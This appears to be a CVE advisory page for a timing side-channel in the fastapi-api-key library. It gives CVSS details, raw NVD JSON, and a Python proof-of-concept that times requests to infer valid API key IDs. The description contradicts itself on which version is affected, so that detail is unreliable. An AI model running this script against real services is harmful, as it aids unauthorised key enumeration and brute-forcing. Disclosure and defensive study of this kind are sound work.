Security Vulnerability Report
中文
CVE-2026-23996 CVSS 3.7 LOW

CVE-2026-23996

Published: 2026-01-21 23:15:53
Last Modified: 2026-02-27 14:52:41

Description

FastAPI Api Key provides a backend-agnostic library that provides an API key system. Version 1.1.0 has a timing side-channel vulnerability in verify_key(). The method applied a random delay only on verification failures, allowing an attacker to statistically distinguish valid from invalid API keys by measuring response latencies. With enough repeated requests, an adversary could infer whether a key_id corresponds to a valid key, potentially accelerating brute-force or enumeration attacks. All users relying on verify_key() for API key authentication prior to the fix are affected. Users should upgrade to version 1.1.0 to receive a patch. The patch applies a uniform random delay (min_delay to max_delay) to all responses regardless of outcome, eliminating the timing correlation. Some workarounds are available. Add an application-level fixed delay or random jitter to all authentication responses (success and failure) before the fix is applied and/or use rate limiting to reduce the feasibility of statistical timing attacks.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:athroniaeth:fastapi_api_key:*:*:*:*:*:python:*:* - VULNERABLE
fastapi-api-key < 1.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-23996 PoC - FastAPI Api Key Timing Side-Channel Attack This PoC demonstrates timing side-channel vulnerability in verify_key() method. """ import requests import time import statistics from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target-api.com/api/endpoint" # Replace with actual target CANDIDATE_KEY_IDS = ["key_001", "key_002", "key_003", "key_004", "key_005"] # Sample key_ids NUM_REQUESTS = 1000 # Number of requests per key_id for statistical analysis def measure_response_time(key_id, api_key): """Measure response time for a single request.""" headers = { "X-API-Key": api_key, "X-Key-ID": key_id } try: start_time = time.time() response = requests.get(TARGET_URL, headers=headers, timeout=10) end_time = time.time() return end_time - start_time, response.status_code except Exception as e: return None, None def analyze_key_id(key_id, api_key, num_samples=100): """Analyze a key_id by measuring response times.""" response_times = [] print(f"[*] Analyzing key_id: {key_id}") for i in range(num_samples): elapsed, status = measure_response_time(key_id, api_key) if elapsed: response_times.append(elapsed) if (i + 1) % 100 == 0: print(f" Progress: {i + 1}/{num_samples}") if response_times: avg_time = statistics.mean(response_times) std_dev = statistics.stdev(response_times) if len(response_times) > 1 else 0 print(f" Average response time: {avg_time:.4f}s (std: {std_dev:.4f}s)") return avg_time, std_dev return None, None def main(): print("[*] CVE-2026-23996 Timing Side-Channel Attack PoC") print("[*] Target: FastAPI Api Key < 1.1.0") print() results = {} # Test with a known invalid API key first test_api_key = "invalid_key_12345" for key_id in CANDIDATE_KEY_IDS: avg_time, std_dev = analyze_key_id(key_id, test_api_key, NUM_REQUESTS) if avg_time: results[key_id] = { 'avg_time': avg_time, 'std_dev': std_dev } print("\n[*] Analysis Results:") print("-" * 50) # Sort by average response time sorted_results = sorted(results.items(), key=lambda x: x[1]['avg_time']) for key_id, data in sorted_results: print(f"Key ID: {key_id:15} | Avg Time: {data['avg_time']:.4f}s | Std: {data['std_dev']:.4f}s") if sorted_results: fastest_key = sorted_results[0][0] print(f"\n[!] Potentially valid key_id detected: {fastest_key}") print("[!] This key_id has statistically shorter response times.") print("[!] Attackers can use this information for targeted brute-force attacks.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23996", "sourceIdentifier": "[email protected]", "published": "2026-01-21T23:15:53.090", "lastModified": "2026-02-27T14:52:40.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FastAPI Api Key provides a backend-agnostic library that provides an API key system. Version 1.1.0 has a timing side-channel vulnerability in verify_key(). The method applied a random delay only on verification failures, allowing an attacker to statistically distinguish valid from invalid API keys by measuring response latencies. With enough repeated requests, an adversary could infer whether a key_id corresponds to a valid key, potentially accelerating brute-force or enumeration attacks. All users relying on verify_key() for API key authentication prior to the fix are affected. Users should upgrade to version 1.1.0 to receive a patch. The patch applies a uniform random delay (min_delay to max_delay) to all responses regardless of outcome, eliminating the timing correlation. Some workarounds are available. Add an application-level fixed delay or random jitter to all authentication responses (success and failure) before the fix is applied and/or use rate limiting to reduce the feasibility of statistical timing attacks."}, {"lang": "es", "value": "FastAPI Api Key proporciona una librería agnóstica al backend que proporciona un sistema de claves API. La versión 1.1.0 tiene una vulnerabilidad de canal lateral de temporización en verify_key(). El método aplicó un retraso aleatorio solo en fallos de verificación, permitiendo a un atacante distinguir estadísticamente las claves API válidas de las inválidas midiendo las latencias de respuesta. Con suficientes solicitudes repetidas, un adversario podría inferir si un key_id corresponde a una clave válida, acelerando potencialmente los ataques de fuerza bruta o enumeración. Todos los usuarios que dependen de verify_key() para la autenticación de claves API antes de la corrección se ven afectados. Los usuarios deben actualizar a la versión 1.1.0 para recibir un parche. El parche aplica un retraso aleatorio uniforme (min_delay a max_delay) a todas las respuestas independientemente del resultado, eliminando la correlación de temporización. Hay disponibles algunas soluciones alternativas. Añadir un retraso fijo a nivel de aplicación o fluctuación aleatoria a todas las respuestas de autenticación (éxito y fallo) antes de que se aplique la corrección y/o usar la limitación de velocidad para reducir la viabilidad de los ataques de temporización estadísticos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:athroniaeth:fastapi_api_key:*:*:*:*:*:python:*:*", "versionEndExcluding": "1.1.0", "matchCriteriaId": "9E32065D-0671-42EB-8A49-1434ECD4EE54"}]}]}], "references": [{"url": "https://github.com/Athroniaeth/fastapi-api-key/commit/310b2c5c77305f38c63c0b917539a0344071dfd8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Athroniaeth/fastapi-api-key/releases/tag/1.1.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Athroniaeth/fastapi-api-key/security/advisories/GHSA-95c6-p277-p87g", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}